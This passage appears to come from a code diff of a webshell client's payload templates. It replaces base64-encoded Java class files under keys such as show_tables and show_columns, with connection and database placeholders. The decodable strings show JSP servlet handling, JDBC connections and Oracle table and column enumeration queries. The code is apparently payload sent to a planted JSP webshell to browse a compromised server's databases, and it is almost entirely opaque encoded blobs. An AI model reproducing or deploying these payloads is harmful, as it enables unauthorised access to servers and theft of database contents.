AJBwBmBwBsBwBsBwBsAQcAbAcAcgcAbAEAAPoAYvgABw79AFwHAEYHAGz7AEH5AAsAcAAAAAQAAQAiAAAAcwB0AAIAYgAAAVkABAAQAAABCRIMOgcstgBLEkwSTbYAThJNtgBPOggZCAMytgBLuAA+VxkIBDI6CRkJGQgFMhkIBjK4AFA6ChkKuQBRAQA6CxkLLbkAUgIAOgwZDLkAUwEAOg0VBpkAVAQ2DhUOGQ25AFQBAKMALxkNFQ65AFUCADoPuwAWWbcAFxkHtgAZGQ+2ABkZBLYAGbYAGjoHhA4Bp//LuwAWWbcAFxkHtgAZGQW2ABm2ABo6BxkMuQBWAQCZAFcENg4VDhkNuQBUAQCjAC8ZDBUOuQBXAgA6D7sAFlm3ABcZB7YAGRkPtgAZGQS2ABm2ABo6B4QOAaf/y7sAFlm3ABcZB7YAGRkFtgAZtgAaOgen/6UZB7AAAAABAGUAAAA+AAb/AFoADwcAZgcAbAcAbAcAbAcAbAcAbAEHAGwHAHUHAGwHAHYHAHcHAHgHAHkBAAD6ADcV/AAMAfoANxgAcAAAAAQAAQAiAAAAegB7AAIAYgAAACQABwAGAAAAGBJYThJZOgQSDDoFKissLRkEGQUDtgBasAAAAAAAcAAAAAQAAQAiAAA=',
+      [arg1]: '#{newbase64::encode}',
+      [arg2]: '#{newbase64::conn}'
     },
     show_tables: {
-      _: 'yv66vgAAADIA/goATQBxBwByCgACAHMKAAIAdAgATgsAdQB2CAB3CQBMAHgIAHkIAHoJAEwAewcAfAoADAB9CAB+CwB/AIALAHUAgQsAfwCBBwCCCgASAHEIAIMKABIAhAoAEgCFCgBMAIYKAEwAhwgAiAgAiQgAigoADACLCgBMAIwKAAwAhQgAjQoAAgCOCgCPAJAHAJEIAJIKACIAhQgAkwoAJwCUBwCVCgAnAJYKACcAlwgAmAgAmQoAJwCaBwCbCgAnAJwKAC0AnQoAJwCeCgAnAJ8KABIAoAgAoQoALQCiCgAtAKMIAKQHAKUKADcAcQoANwCmCgAnAKcIAKgIAKkKACcAqgoAJwCrCgCsAK0KAK4ArwsAsACxCwCyALMLALQAtQsAtgC3CwC2ALgLALQAuQsAtAC6CAC7CAC8CAC9CgBMAL4HAG0HAL8BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbQcAvwcAcgcAwAcAwQcAbQcAlQcAfAcAkQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCbAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwgcAwwcAxAcAxQcAxgEACnNob3dUYWJsZXMBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA9zaG93VGFibGVzLmphdmEMAFEAUgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADHAMgMAMkAygcAwAwAywBiAQAADABOAE8BAAdjaGFyc2V0AQAFVVRGLTgMAFAATwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAFEAzAEACXRleHQvaHRtbAcAwQwAzQDMDADOAMwBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAM8A0AwA0QDSDABkAGIMAGEAYgEABHZhcjEBAAR2YXIyAQADLT58DADPANMMAG0AbgEAA3w8LQwA1ADVBwDWDADXAMwBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABVAFYBABBqYXZhL2xhbmcvU3RyaW5nDADYANkMAFEA2gEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADbANIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA3ADdDABRAN4MAN8A4AwA4QDiDADPAOMBAAEsDADkAN4MANEAYgEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOUA5gwA5wDSAQACDQoBAAEKDADoAOkMAOoA6wcA7AwA7QDuBwDvDADwAPEHAMMMAPIA8wcAxAwA9AD1BwDFDAD2APcHAMYMAPgA3QwA+QD6DAD7APwMAP0A+gEAR1NFTEVDVCBUQUJMRV9OQU1FIEZST00gKFNFTEVDVCBUQUJMRV9OQU1FIEZST00gQUxMX1RBQkxFUyBXSEVSRSBPV05FUj0nAQANJyBPUkRFUiBCWSAxKQEAAQkMAGYAZwEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAPY3JlYXRlU3RhdGVtZW50AQAWKClMamF2YS9zcWwvU3RhdGVtZW50OwEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsBAAtnZXRNZXRhRGF0YQEAHigpTGph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',
-      'var0': '#{encode}',
-      'var1': '#{conn}',
-      'var2': '#{db}'
+      _: 'yv66vgAAADMBMAoAQwB9BwB+CgACAH8KAAIAgAgAgQkAXQCCCACDCQBdAIQIAIUJAF0AhgcAhwgAiAoACwCJCACKCACLCACMCACNCACOCACPCwCQAJELAJIAkwsAkACTBwCUCgAXAH0LAJIAlQoAFwCWCgAXAJcKAF0AmAoAXQCZCgALAJoKAF0AmwoACwCXCgACAJwKAJ0AngcAnwgAoAoAIwCXCAChCgAoAKIHAKMKACgApAoAKAClCgCmAKcKACgAqAgAqQgAqgoAKACrBwCsCgAoAK0KADAArgoAKACvCgAoALAKABcAsQgAsgoAMACzCAC0CgAwALUIALYKALcAuAgAuQoAKAC6CAC7CgBBALwIAL0HAL4KAEEAvwcAwAoAwQDCCgBDAMMIAHMHAMQIAMUKAEEAxgoAxwDICADJCgAoAMoIAMsIAMwKACgAzQoAKADOCgDPANALANEA0gsA0wDUCwDVANYLANcA2AsA1wDZCwDVANoLANUA2wgA3AgA3QgA3goAXQDfBwDgAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAOAHAMAHAH4HAOEHAOIHAIcHAKMHAJ8BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcArAEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAOMHAOQHAOUHAOYHAOcBAApzaG93VGFibGVzDABiAGMBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwA6ADpDADqAOsBABRhbnRzd29yZHJhbmRvbVByZWZpeAwAYQBfAQAGYmFzZTY0DABeAF8BAA9hbnRzd29yZENoYXJzZXQMAGAAXwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMAGIA7AEAAy0+fAEAA3w8LQEAEWFudHN3b3JkYXJnZW5jb2RlAQAPYW50c3dvcmRhcmdjb25uAQANYW50c3dvcmRhcmdkYgEACXRleHQvaHRtbAcA4gwA7QDsBwDhDADuAOwBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwA7wDwDADxAPIMAPMA9AwAcwBxDABwAHEMAPEA9QwAfABxDAD2APcHAPgMAPkA7AEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAGUAZgEAEGphdmEvbGFuZy9TdHJpbmcMAPoA+wwAYgD8BwD9DAD+AP8MAQABAQEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDAECAPQBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBAwEEDABiAQUMAQYBBwwBCAEJDADxAQoBAAEsDAELAQUBAAVVVEYtOAwA8wDwAQAMamF2YS52ZXJzaW9uBwEMDAENAPABAAMxLjkMAQ4A/wEAEGphdmEudXRpbC5CYXNlNjQMAQ8BEAEACmdldERlY29kZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAREBEgEAEGphdmEvbGFuZy9PYmplY3QHARMMARQBFQwBFgEXAQACW0IBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDAEYARkHARoMARsBHAEADGRlY29kZUJ1ZmZlcgwBHQD0AQACDQoBAAEKDAEeAR8MASABIQcBIgwBIwEkBwDkDAElASYHAOUMAScBKAcA5gwBKQEqBwDnDAErAQQMASwBAQwBLQEuDAEvAQEBAEdTRUxFQ1QgVEFCTEVfTkFNRSBGUk9NIChTRUxFQ1QgVEFCTEVfTkFNRSBGUk9NIEFMTF9UQUJMRVMgV0hFUkUgT1dORVI9JwEADScgT1JERVIgQlkgMSkBAAEJDAB1AHYBAAtTaG93X3RhYmxlcwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEACWNvbXBhcmVUbwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAFmdldERlY2xhcmVkQ29uc3RydWN0b3IBADMoW0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgEAC25ld0luc3RhbmNlAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAWamF2YS9zcWwvRHJpdmVyTWFuYWdlcgEADWdldENvbm5lY3Rpb24BAE0oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9Db25uZWN0aW9uOwEAD2NyZWF0ZVN0YXRlbWVudAEAFigpTGphdmEvc3FsL1N0YXRlbWVudDsBAAxleGVjdXRlUXVlcnkBACgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9SZXN1bHRTZXQ7AQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsBAA5nZXRDb2x1bW5Db3VudAEADWdldENvbHVtbk5hbWUBAARuZXh0AQADKClaAQAJZ2V0U3RyaW5nACEAXQBDAAAAAwABAF4AXwAAAAEAYABfAAAAAQBhAF8AAAAGAAEAYgBjAAEAZAAAABEAAQABAAAABSq3AAGxAAAAAAABAGUAZgABAGQAAAGsAAUADwAAAWErwAACTSy2AANOLLYABDoEKhIFtQAGKhIHtQAIKhIJtQAKuwALWRIMtwANOgW7AAtZEgy3AA06BhIOOgcSDzoIEhA6CRIROgoSEjoLGQQSE7kAFAIALSq0AAq5ABUCABkEKrQACrkAFgIAKiq7ABdZtwAYLRkJuQAZAgC2ABoSDLYAGrYAGyq0AAgqtAAKtgAcKrQACCq0AAq2AB06DCoquwAXWbcAGC0ZCrkAGQIAtgAaEgy2ABq2ABsqtAAIKrQACrYAHCq0AAgqtAAKtgAdOg0qKrsAF1m3ABgtGQu5ABkCALYAGhIMtgAatgAbKrQACCq0AAq2ABwqtAAIKrQACrYAHToOGQUZB7YAHlcZBioZDBkNGQ62AB+2AB5XGQUZBrYAILYAHlcZBRkItgAeVyy2ACEZBbYAILYAIqcAIjoMGQa7ABdZtwAYEiS2ABoZDLYAJbYAGrYAG7YAHlcErAABAEwBPQFAACMAAQBnAAAAMQAC/wFAAAwHAGgHAGkHAGoHAGsHAGwHAG0HAG0HAG4HAG4HAG4HAG4HAG4AAQcAbx4AAABwAHEAAgBkAAAANAAEAAQAAAAeLBImtgAnmgAJLBImpgAFK7C7AChZK7YAKS23ACqwAAAAAQBnAAAABAACDwEAcgAAAAQAAQAjAAAAcwBxAAIAZAAAAe0ABgAJAAABggM2BCq0AAa4ACs2BCsVBLYALEynAAg6BQM2BCwSJrYAJ5oACSwSJqYAnysSLaUADCsSLbYAJ5kABhIMsBIuOgUrtgAvTLsAMFkrtgAxBWy3ADI6BhIMOgcDNggVCCu2ADGiAF27ABdZtwAYGQe2ABoZBSsVCLYAM7YANAd4GQUrFQgEYLYAM7YANIC2ADUSNrYAGrYAGzoHGQYZBSsVCLYAM7YANAd4GQUrFQgEYLYAM7YANIC2ADeECAKn/6AZBhI4tgA5sCwSB7YAJ5oACSwSB6YArgE6BRI6uAA7OgYZBhI8tgA9mwBMEj64AD86BxkHEkADvQBBtgBCGQcDvQBDtgBEOggZCLYARRJGBL0AQVkDEwAoU7YAQhkIBL0AQ1kDK1O2AETAAEfAAEc6BacARRJIuAA/OgcZBwO9AEG2AEkDvQBDtgBKOggZCLYARRJLBL0AQVkDEwAoU7YAQhkIBL0AQ1kDK1O2AETAAEfAAEc6BbsAKFkZBRI4twAqsCuwAAEAAwATABYAIwABAGcAAABRAAz/ABYABQcAaAcAbgcAbgcAbgEAAQcAbwQODgL/AB4ACQcAaAcAbgcAbgcAbgEHAG4HAHQHAG4BAAD6AGL4AAcO/QBcBwBHBwBu+wBB+QALAHIAAAAEAAEAIwAAAHUAdgACAGQAAAFZAAQAEAAAAQkSDDoHLLYATBJNEk62AE8STrYAUDoIGQgDMrYATLgAP1cZCAQyOgkZCRkIBTIZCAYyuABROgoZCrkAUgEAOgsZCy25AFMCADoMGQy5AFQBADoNFQaZAFQENg4VDhkNuQBVAQCjAC8ZDRUOuQBWAgA6D7sAF1m3ABgZB7YAGhkPtgAaGQS2ABq2ABs6B4QOAaf/y7sAF1m3ABgZB7YAGhkFtgAatgAbOgcZDLkAVwEAmQBXBDYOFQ4ZDbkAVQEAowAvGQwVDrkAWAIAOg+7ABdZtwAYGQe2ABoZD7YAGhkEtgAatgAbOgeEDgGn/8u7ABdZtwAYGQe2ABoZBbYAGrYAGzoHp/+lGQewAAAAAQBnAAAAPgAG/wBaAA8HAGgHAG4HAG4HAG4HAG4HAG4BBwBuBwB3BwBuBwB4BwB5BwB6BwB7AQAA+gA3FfwADAH6ADcYAHIAAAAEAAEAIwAAAHwAcQACAGQAAAA8AAcABwAAADC7ABdZtwAYElm2ABottgAaElq2ABq2ABs6BBJbOgUSDDoGKissGQQZBRkGA7YAXLAAAAAAAHIAAAAEAAEAIwAA',
+      [arg1]: '#{newbase64::encode}',
+      [arg2]: '#{newbase64::conn}',
+      [arg3]: '#{newbase64::db}'
     },
     show_columns: {
-      _: 'yv66vgAAADIBAgoATwBzBwB0CgACAHUKAAIAdggAUAsAdwB4CAB5CQBOAHoIAHsIAHwJAE4AfQcAfgoADAB/CACACwCBAIILAHcAgwsAgQCDBwCECgASAHMIAIUKABIAhgoAEgCHCgBOAIgKAE4AiQgAiggAiwgAjAgAjQoADACOCgBOAI8KAAwAhwgAkAoAAgCRCgCSAJMHAJQIAJUKACMAhwgAlgoAKACXBwCYCgAoAJkKACgAmggAmwgAnAoAKACdBwCeCgAoAJ8KAC4AoAoAKAChCgAoAKIKABIAowgApAoALgClCgAuAKYIAKcHAKgKADgAcwoAOACpCgAoAKoIAKsIAKwKACgArQoAKACuCgCvALAKALEAsgsAswC0CwC1ALYLALcAuAsAuQC6CwC5ALsLALcAvAsAtwC9CAC+CAC/CADACADBCgBOAMIHAG8HAMMBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbwcAwwcAdAcAxAcAxQcAbwcAmAcAfgcAlAEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCeAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAxgcAxwcAyAcAyQcAygEAC3Nob3dDb2x1bW5zAQBcKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAQc2hvd0NvbHVtbnMuamF2YQwAUwBUAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMsAzAwAzQDOBwDEDADPAGQBAAAMAFAAUQEAB2NoYXJzZXQBAAVVVEYtOAwAUgBRAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAUwDQAQAJdGV4dC9odG1sBwDFDADRANAMANIA0AEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwA0wDUDADVANYMAGYAZAwAYwBkAQAEdmFyMQEABHZhcjIBAAR2YXIzAQADLT58DADTANcMAG8AcAEAA3w8LQwA2ADZBwDaDADbANABABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABXAFgBABBqYXZhL2xhbmcvU3RyaW5nDADcAN0MAFMA3gEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADfANYBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA4ADhDABTAOIMAOMA5AwA5QDmDADTAOcBAAEsDADoAOIMANUAZAEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOkA6gwA6wDWAQACDQoBAAEKDADsAO0MAO4A7wcA8AwA8QDyBwDzDAD0APUHAMcMAPYA9wcAyAwA+AD5BwDJDAD6APsHAMoMAPwA4QwA/QD+DAD/AQAMAQEA/gEAAQkBAA5zZWxlY3QgKiBmcm9tIAEAAS4BAA8gV0hFUkUgUk9XTlVNPTAMAGgAaQEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9